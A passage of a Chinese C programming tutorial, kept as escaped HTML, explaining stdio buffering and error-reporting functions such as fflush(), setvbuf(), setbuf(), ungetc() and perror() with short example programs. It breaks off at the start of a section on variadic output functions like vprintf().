class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果清空成功,\u003ccode\u003efflush()\u003c/code\u003e返回0,否则返回 EOF。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003efflush()\u003c/code\u003e一般只用来清空输出缓存区(比如写文件)。如果使用它来清空输入缓存区(比如读文件),属于未定义行为。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efflush()\u003c/code\u003e的一个用途是不等回车键,就强迫输出缓存区。大多数系统都是行缓存,这意味着只有遇到回车键(或者缓存区满了,或者文件读到结尾),缓存区的内容才会输出,\u003ccode\u003efflush()\u003c/code\u003e可以不等回车键,立即输出。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e9\u003c/span\u003e; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i--) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\r%d\u0026#34;\u003c/span\u003e, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fflush(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是一个倒计时效果,\u003ccode\u003e\\r\u003c/code\u003e是回车键,表示每轮循环都会回到当前行的行首,等于删除上一轮循环的输出。\u003ccode\u003efflush(stdout)\u003c/code\u003e表示立即将缓存输出到显示器,这一行是必需的,否则由于上一行的输出没有回车键,不会触发缓存输出,屏幕上不会显示任何内容,只会等到程序运行结束再一次性输出。\u003c/p\u003e\u003ch3 id=\"setvbuf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setvbuf\" class=\"headerlink\" title=\"setvbuf()\"\u003e\u003c/a\u003esetvbuf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetvbuf()\u003c/code\u003e函数用于定义某个字节流应该如何缓存。它可以接受四个参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esetvbuf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* buffer, \u003cspan class=\"type\"\u003eint\u003c/span\u003e mode, \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e第一个参数\u003ccode\u003estream\u003c/code\u003e是文件流。\u003c/p\u003e\u003cp\u003e第二个参数\u003ccode\u003ebuffer\u003c/code\u003e是缓存区的地址。\u003c/p\u003e\u003cp\u003e第三个参数\u003ccode\u003emode\u003c/code\u003e指定缓存的行为模式,它是下面三个宏之一,这些宏都定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e_IOFBF\u003c/code\u003e:满缓存。当缓存为空时,才从流读入数据;当缓存满了,才向流写入数据。一般情况下,这是默认设置。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e_IOLBF\u003c/code\u003e:行缓存。每次从流读入一行数据,或向流写入一行数据,即以行为单位读写缓存。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e_IONBF\u003c/code\u003e:无缓存。不使用缓存区,直接读写设备。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e第四个参数\u003ccode\u003esize\u003c/code\u003e指定缓存区的大小。较大的缓存区提供更好的性能,而较小的缓存区可以节省空间。\u003ccode\u003estdio.h\u003c/code\u003e提供了一个宏\u003ccode\u003eBUFSIZ\u003c/code\u003e,表示系统默认的缓存区大小。\u003c/p\u003e\u003cp\u003e它的意义在于,使得用户可以在打开一个文件之前,定义自己的文件缓冲区,而不必使用\u003ccode\u003efopen()\u003c/code\u003e函数打开文件时设定的默认缓冲区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[N];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(stream, buffer, _IOFBF, N);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例设置文件流\u003ccode\u003estream\u003c/code\u003e的缓存区从地址\u003ccode\u003ebuffer\u003c/code\u003e开始,大小为\u003ccode\u003eN\u003c/code\u003e,模式为\u003ccode\u003e_IOFBF\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetvbuf()\u003c/code\u003e的第二个参数可以为空指针 NULL。这样的话,\u003ccode\u003esetvbuf()\u003c/code\u003e会自己创建一个缓存区。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003esetvbuf()\u003c/code\u003e的调用必须在对文件流执行任何操作之前。\u003c/p\u003e\u003cp\u003e如果调用成功,\u003ccode\u003esetvbuf()\u003c/code\u003e的返回值为\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cp\u003e下面的例子是将缓存区调整为行缓存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE *fp;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e lineBuf[\u003cspan class=\"number\"\u003e1024\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;somefile.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;r\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(fp, lineBuf, _IOLBF, \u003cspan class=\"number\"\u003e1024\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"setbuf\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#setbuf\" class=\"headerlink\" title=\"setbuf()\"\u003e\u003c/a\u003esetbuf()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e是\u003ccode\u003esetvbuf()\u003c/code\u003e的早期版本,可以视为后者的简化版本,也用来定义某个字节流的缓存区。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esetbuf\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003echar\u003c/span\u003e* buffer)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数\u003ccode\u003estream\u003c/code\u003e是文件流,第二个参数\u003ccode\u003ebuffer\u003c/code\u003e是缓存区的地址。\u003c/p\u003e\u003cp\u003e它总是可以改写成\u003ccode\u003esetvbuf()\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[BUFSIZ];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetbuf(stream, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(stream, buffer, _IOFBF, BUFSIZ);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eBUFSIZ\u003c/code\u003e是\u003ccode\u003estdio.h\u003c/code\u003e定义的宏,表示系统默认的缓存区大小。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e函数没有返回值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esetbuf()\u003c/code\u003e的第二个参数如果设置为 NULL,表示不进行缓存。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetbuf(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetvbuf(\u003cspan class=\"built_in\"\u003estdout\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, _IONBF, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"ungetc\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ungetc\" class=\"headerlink\" title=\"ungetc()\"\u003e\u003c/a\u003eungetc()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eungetc()\u003c/code\u003e将从缓存里面读取的上一个字符,重新放回缓存,下一个读取缓存的操作会从这个字符串开始。有些操作需要了解下一个字符是什么,再决定应该怎么处理,这时这个函数就很有用。\u003c/p\u003e\u003cp\u003e它的原型如下。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eungetc\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e c, FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它的第一个参数是一个字符变量,第二个参数是一个打开的文件流。它的返回值是放回缓存的那个字符,操作失败时,返回 EOF。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e ch = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003eisdigit\u003c/span\u003e(ch)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ch = fgetd(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eungetc(ch, fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果读取的字符不是数字,就将其放回缓存。\u003c/p\u003e\u003ch3 id=\"perror\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#perror\" class=\"headerlink\" title=\"perror()\"\u003e\u003c/a\u003eperror()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eperror()\u003c/code\u003e用于在 stderr 的错误信息之前,添加一个自定义字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eperror\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *s)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数的参数就是在报错信息前添加的字符串。它没有返回值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;math.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;errno.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e errno = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"built_in\"\u003esqrt\u003c/span\u003e(x);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (errno != \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;sqrt error\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,求\u003ccode\u003e-1\u003c/code\u003e的平方根,导致报错。头文件\u003ccode\u003eerrno.h\u003c/code\u003e提供宏\u003ccode\u003eerrno\u003c/code\u003e,只要上一步操作出错,这个宏就会设置成非零值。\u003ccode\u003eperror()\u003c/code\u003e用来在报错信息前,加上\u003ccode\u003esqrt error\u003c/code\u003e的自定义字符串。\u003c/p\u003e\u003cp\u003e执行上面的程序,就会得到下面的报错信息。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc test.c -lm\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ ./a.out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqrt error: Numerical argument out of domain\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"可变参数操作函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E5%8F%98%E5%8F%82%E6%95%B0%E6%93%8D%E4%BD%9C%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"可变参数操作函数\"\u003e\u003c/a\u003e可变参数操作函数\u003c/h3\u003e\u003cp\u003e(1)输出函数\u003c/p\u003e\u003cp\u003e下面是\u003ccode\u003eprintf()\u003c/code\u003e的变体函数,用于按照给定格式,输出函数的可变参数列表(va_list)。\u003c/p\u003e\u003cul\u003e\u003cli\u003evprintf():按照给定格式,输出到控制台,默认是显示器。\u003c/li\u003e\u003cli\u003evfprintf():按照给定格式,输出到文件。\u003c/li\u003e\u003cli\u003evsprintf():按照给定格式,输出到字符串。\u003c/li\u003e\u003cli\u003evsnprintf():按照给定格式,输出到字符串的安全版本。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它们的原型如下,基本与对应的\u003ccode\u003eprintf()\u003c/code\u003e系列函数一致,除了最后一个参数是可变参数对象。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan 